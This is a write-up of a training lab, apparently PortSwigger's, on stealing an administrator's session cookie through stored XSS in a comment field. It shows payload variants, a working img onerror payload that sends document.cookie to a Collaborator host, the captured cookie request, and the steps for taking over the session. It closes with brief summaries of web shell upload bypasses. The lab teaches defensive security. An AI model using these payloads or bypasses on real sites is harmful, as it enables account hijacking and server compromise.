On this page
Stealing Cookies via Stored XSS
Vulnerability
Stored XSS is a vulnerability where user input is persisted on the server and later returned to other users as part of an HTML page without proper escaping. If the victim is an authenticated user, the attacker can capture their session cookie and hijack the account.
Lab
Name: Exploiting cross-site scripting to steal cookiesDifficulty: Practitioner Goal: Inject a payload into a comment, exfiltrate the administrator's cookie, and log in as them.
Reconnaissance
We probe every field of the comment form with the standard <>"'\ set. The Comment field is vulnerable — the characters are reflected unescaped. The other fields (name, email, website) are filtered.
Exploitation
Step 1 — Choosing a payload
A request to an external host from an event handler can be built in several ways:
fetch('URL?c=' + document.cookie)
new Image().src = 'URL?c=' + document.cookie
this.src = 'URL?c=' + document.cookie // reuse the tag itself
Step 2 — Burp Collaborator
A self-hosted server didn't receive the request, so we use the built-in Burp Collaborator — it generates a one-off domain and logs every incoming request.
We get an address like zvy0sc79xmo6lmcgsthr3j4i2980wqkf.oastify.com and craft the payload:
<img src="x" onerror="fetch('https://zvy0sc79xmo6lmcgsthr3j4i2980wqkf.oastify.com/?c='+document.cookie)" />
Submit it as a comment.
Step 3 — Capturing the cookie
Collaborator records the incoming request:
GET /?c=secret=PZYFKXdyeAbf5tKe8hyPZjKqR97bGzl9;%20session=0Ppv65ScgeSsMYw0pa0gL6XcFtXLbEba HTTP/1.1
Take the session value, paste it into our own cookies via DevTools — we're logged in as the administrator. Lab solved.
More in this category
Web Shell Upload via Extension Blacklist Bypass (PortSwigger Lab)
.php is blacklisted, but .htaccess uploads without complaint — we slip our own Apache config in and make the server execute shell.bug as PHP.
Web Shell Upload via Obfuscated File Extension (PortSwigger Lab)
Extension blacklist rejects .php and a double-extension shell.php.jpg is served as an image — a null byte in shell.php%00.jpg bypasses both checks.
Remote Code Execution via Web Shell Upload (PortSwigger Lab)
Avatar upload has no validation — drop a PHP web shell and read /home/carlos/secret.